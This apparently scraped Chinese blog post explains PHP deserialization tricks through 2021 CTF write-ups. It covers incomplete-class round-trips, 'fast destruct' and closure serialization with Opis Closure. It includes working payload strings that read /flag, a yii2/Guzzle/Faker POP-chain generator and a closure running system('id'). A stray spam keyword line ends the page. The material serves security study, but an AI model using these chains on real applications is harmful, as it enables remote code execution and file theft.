<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】PHP序列化冷知識

    VSole2022-04-13 08:22:41

    一、serialize(unserialize($x))!=$x

    正常來說一個合法的反序列化字符串,在二次序列化也即反序列化再序列化之后所得到的結果是一致的。

    比如

    $raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';
    echo serialize(unserialize($raw));
    //O:1:"A":1:{s:1:"a";s:1:"b";}
    

    可以看到即使腳本中沒有A這個類,在反序列化序列化過后得到的值依然為原來的值。那么php是怎么實現的呢。

    __PHP_Incomplete_Class 不完整的類

    在PHP中,當我們在反序列化一個不存在的類時,會發生什么呢

    $raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';
    var_dump(unserialize($raw));
    /*Output:
    object(__PHP_Incomplete_Class)#1 (2) {
      ["__PHP_Incomplete_Class_Name"]=>
      string(1) "A"
      ["a"]=>
      string(1) "b"
    }*/
    

    可以發現PHP在遇到不存在的類時,會把不存在的類轉換成__PHP_Incomplete_Class這種特殊的類,同時將原始的類名A存放在__PHP_Incomplete_Class_Name這個屬性中,其余屬性存放方式不變。而我們在序列化這個對象的時候,serialize遇到__PHP_Incomplete_Class這個特殊類會倒推回來,序列化成__PHP_Incomplete_Class_Name值為類名的類,我們看到的序列化結果不是O:22:"__PHP_Incomplete_Class_Name":2:{xxx}而是O:1:"A":1:{s:1:"a";s:1:"b";},那么如果我們自己如下構造序列化字符串

    執行結果如下圖

    可以看到在二次序列化后,由于O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}}__PHP_Incomplete_Class_Name為空,找不到應該綁定的類,其屬性就被丟棄了,導致了serialize(unserialize($x)) != $x的出現。

    以強網杯2021 WhereIsUWebShell 為例

    事實上,在2021強網杯中就有利用到這一點。

    下面是簡化的代碼

    // index.php
    ini_set('display_errors', 'on');
    include "function.php";
    $res = unserialize($_REQUEST['ctfer']);
    if(preg_match('/myclass/i',serialize($res))){
        throw new Exception("Error: Class 'myclass' not found ");
    }
    highlight_file(__FILE__);
    echo "
    ";
    highlight_file("myclass.php");
    echo "
    ";
    highlight_file("function.php");
    

    用到的其他文件如下

    // myclass.php
    class Hello{
        public function __destruct()
        {   
            if($this->qwb) echo file_get_contents($this->qwb);
        }
    }
    ?>
    // function.php
    function __autoload($classname){
        require_once "./$classname.php";
    }
    ?>
    

    在這個題目中,我們需要加載myclass.php中的hello類,但是要引入hello類,根據__autoload我們需要一個classnamemyclass的類,這個類并不存在,如果我們直接去反序列化,只會在反序列化myclass類的時候報錯無法進入下一步,或者在反序列化Hello的時候找不到這個類而報錯。

    根據上面的分析,我們可以使用PHP對__PHP_Incomplete_Class的特殊處理進行繞過

    a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}
    

    修改一下index.phpmyclass.php以便更好地看清這一過程

    // index.php
    ini_set('display_errors', 'on');
    include "function.php";
    $res = unserialize($_REQUEST['ctfer']);
    var_dump($res);
    echo '
    ';
    var_dump(serialize($res));
    if(preg_match('/myclass/i',serialize($res))){
        echo "???";
        throw new Exception("Error: Class 'myclass' not found ");
    }
    highlight_file(__FILE__);
    echo "
    ";
    highlight_file("myclass.php");
    echo "
    ";
    highlight_file("function.php");
    echo "End";
    // myclass.php
    //class myclass{}
    class Hello{
        public function __destruct()
        {   
            echo "I'm destructed.
    ";
            var_export($this->qwb);
            if($this->qwb) echo file_get_contents($this->qwb);
        }
    }
    ?>
    

    可以看到在反序列化之后,myclass作為了__PHP_Incomplete_Class中屬性,會觸發autoload引入myclass.php,而對他進行二次序列化時,因為__PHP_Incomplete_Class沒有__PHP_Incomplete_Class_Name該對象會消失,從而繞過preg_match的檢測,并在最后觸發Hello類的反序列化。

    二、Fast Destruct--奇怪的反序列化行為出現了

    強網杯2021 WhereIsUWebShell的另一種解法

    還是上面那個題目,事實上,我們通過fast destruct的技術,完全可以不考慮后面設置的waf

    Fast destruct是什么呢,在著名的php反序列工具phpggc中提及了這一概念。具體來說,在PHP中有:

    1、如果單獨執行unserialize函數進行常規的反序列化,那么被反序列化后的整個對象的生命周期就僅限于這個函數執行的生命周期,當這個函數執行完畢,這個類就沒了,在有析構函數的情況下就會執行它。

    2、如果反序列化函數序列化出來的對象被賦給了程序中的變量,那么被反序列化的對象其生命周期就會變長,由于它一直都存在于這個變量當中,當這個對象被銷毀,才會執行其析構函數。

    在這個題目中,反序列化得到的對象被賦給了$res導致__destruct在程序結尾才被執行,從而無法繞過perg_match代碼塊中的報錯,如果能夠進行fast destruct,那么就可以提前觸發_destruct,繞過反序列化報錯。

    一種方式就是修改序列化字符串的結構,使得完成部分反序列化的unserialize強制退出,提前觸發__destruct,其中的幾種方式如下

    #修改序列化數字元素個數
    a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}}
    #去掉序列化尾部 }
    a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}
    

    本質上,fast destruct 是因為unserialize過程中掃描器發現序列化字符串格式有誤導致的提前異常退出,為了銷毀之前建立的對象內存空間,會立刻調用對象的__destruct(),提前觸發反序列化鏈條。

    fast destruct 提前觸發魔術方法

    在進一步探索中,fast destruct還引起了一些其他的問題,比如下面這個有趣的示例

    可以看到,在正常情況下,Evil類是被設計禁止反序列化的,在序列化的時候會清空func屬性,即使被call,也不會觸發system,然而由于fast destruct,提前觸發的A::__destruct,直接訪問了Evil::__call,導致了命令執行。具體區別可以看下面兩張圖

    值得一提的是,__get之類的魔術方式也存在這樣的執行順序問題。

    三、Opi/Closure(閉包)函數也能反序列化?

    Closure (閉包)函數也是類

    在php中,除了通過function(){}定義函數并調用還可以通過如下方式

    $func = function($b){
        $a = 1;
        return $a+$b;
    };
    $func(1);
    //Output:2
    

    的方式調用函數,這是因為PHP在5.3版本引入了Closure類用于代表匿名函數

    實際上$func就是一個Closure類型的對象,根據PHP官方文檔,Closure類定義如下。

    class Closure {
        /* 方法 */
        private __construct()
        public static bind(Closure $closure, ?object $newThis, object|string|null $newScope = "static"): ?Closure
        public bindTo(object $newthis, mixed $newscope = 'static'): Closure
        public call(object $newThis, mixed ...$args): mixed
        public static fromCallable(callable $callback): Closure
    }
    

    下面是一個簡單的使用示例

    class Test{
        public $a;
        public function __construct($a=0){
            $this->a = $a;
        }
        public function plus($b){
            return $this->a+$b;
        }
    }
    $funcInObject = function($b){
        echo "Test::PlusOutput:".$this->plus($b)."";
        return $this->a;
    };
    try{
        var_dump(serialize($func));
    }catch (Exception $e){
        echo $e;
    }
    $myclosure = Closure::bind($funcInObject,new Test(123));
    var_dump($myclosure(1));
    //Output:int(124)
    

    可以看到通過Closure::bind我們還可以給閉包傳入上下文對象。

    一般來說Closure是不允許序列化和反序列化的,直接序列化會Exception: Serialization of 'Closure' is not allowed

    然而Opi Closure庫實現了這一功能,通過Opi Clousre,我們可以方便的對閉包進行序列化反序列化,只需要使用Opis\Closure\serialize()Opis\Closure\unserialize()即可。

    以祥云杯2021 ezyii為例

    在2021祥云杯比賽中有一個關于yii2的反序列化鏈,根據所給的文件,很容易發現一條鏈子

    Runprocess->DefaultGenerator->AppendStream->CachingStream->PumpStream
    

    也即

    namespace Faker{
        class DefaultGenerator
        {
            protected $default;
            public function __construct($default = null)
            {
                $this->default = $default;
            }
        }
    }
    namespace GuzzleHttp\Psr7{
        use Faker\DefaultGenerator;
        final class AppendStream{
            private $streams = [];
            private $seekable = true;
            public function __construct(){
                $this->streams[]=new CachingStream();
            }
        }
        final class CachingStream{
            private $remoteStream;
            public function __construct(){
                $this->remoteStream=new DefaultGenerator(false);
                $this->stream=new  PumpStream();
            }
        }
        final class PumpStream{
            private $source;
            private $size=-10;
            private $buffer;
            public function __construct(){
                $this->buffer=new DefaultGenerator('whatever');
                $this->source="????";
            }
        }
    }
    namespace Codeception\Extension{
        use Faker\DefaultGenerator;
        use GuzzleHttp\Psr7\AppendStream;
        class  RunProcess{
            protected $output;
            private $processes = [];
            public function __construct(){
                $this->processes[]=new DefaultGenerator(new AppendStream());
                $this->output=new DefaultGenerator('whatever');
            }
        }
    }
    namespace {
        use Codeception\Extension\RunProcess;
        echo base64_encode(serialize(new RunProcess()));
    }
    

    最后觸發的是PumpStream::pump里的call_user_func($this->source, $length);

    class PumpStream
    {
        ...
        private function pump($length)
        {
            var_dump("PumpStream::pump",$this,$length);
            if ($this->source) {
                do {
                    $data = call_user_func($this->source, $length);
                    if ($data === false || $data === null) {
                        $this->source = null;
                        return;
                    }
                    $this->buffer->write($data);
                    $length -= strlen($data);
                } while ($length > 0);
            }
        }
    }
    

    看起來很美好,然而有個小問題,我們沒法控制$length,只能控制$this->source,這就導致了我們能使用的函數受限,如何解決這一問題呢,這里就用到了我們之前提到的Closure,在題目中引入了這一類庫,那么我們可以讓$this->source為一個函數閉包,一個簡化的示意代碼如下

    include("closure/autoload.php");
    class Test{
        public $source;
    }
    $func = function(){
        $cmd = 'id';
        system($cmd);
    };
    $raw = \Opis\Closure\serialize($func);
    $t = new Test;
    $t->source = unserialize($raw);
    $exp = serialize($t);
    $o = unserialize($exp);
    call_user_func($o->source,9);
    //Output:uid=1000(eki) gid=1000(eki) groups=1000(eki),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
    可以看到通過這個函數閉包,我們繞過了參數限制,實現了完整的RCE。
    
    phpphp序列化
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    最近寫了點反序列化的題,才疏學淺,希望對CTF新手有所幫助,有啥錯誤還請大師傅們批評指正。php序列化簡單理解首先我們需要理解什么是序列化,什么是反序列化?本質上反序列化是沒有危害的。但是如果用戶對數據可控那就可以利用反序列化構造payload攻擊。
    正常來說一個合法的反序列化字符串,在二次序列化也即反序列化序列化之后所得到的結果是一致的。
    php序列化初探
    2023-04-23 09:50:02
    php中的反序列化漏洞通過控制php中的魔術方法,傳入構造的惡意反序列化后的字符串,通過魔術方法觸發反序列化漏洞,執行我們的惡意代碼。注意反序列化構造的類名必須和源碼中的一致,不能新生成一個類名。執行eval方法需要調用action()方法,action()方法的調用可以再ClassA的__destruct中調用
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    01目錄掃描分析代碼這是一道很好反序列化字符串溢出的題目,首先打開容器看到這是一個上傳點先進行目錄掃描,
    CVE-2021-36394-Moodle RCE漏洞分析及PHP序列化利用鏈構造之旅。
    在文章開頭部分,先對phar反序列化做一些小小的分析。
    序列化的核心思維旨在,將A變成B,最后再從B還原回A。 總之,在一些條件苛刻或者變化無常的環境與需求中,產生了這種靈活的可逆性的B的中間體。 理解不安全反序列化的最好方法是了解不同的編程語言如何實現序列化和反序列化。這里的序列化與反序列化指的是程序語言中自帶的實施與實現。而非自創或者自定義的序列化與反序列化機制(比如:N進制形式hashmap樹型等其他數據結構里的序列化中間體)。
    為解決實驗室,編輯會話cookie中的序列化對象以利用此漏洞并獲得管理權限。然后,刪除 Carlos 的帳戶。您可以使用以下憑據登錄自己的帳戶:wiener:peter解決方案此實驗與權限提升有關,我們使用bp抓包,重點關注cookie1.登錄,查看我的賬戶頁面,bp發現cookie內容是序列化的。在Repeater中替換cookie,已經有了admin權限。
    從偶遇Flarum開始的RCE之旅
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类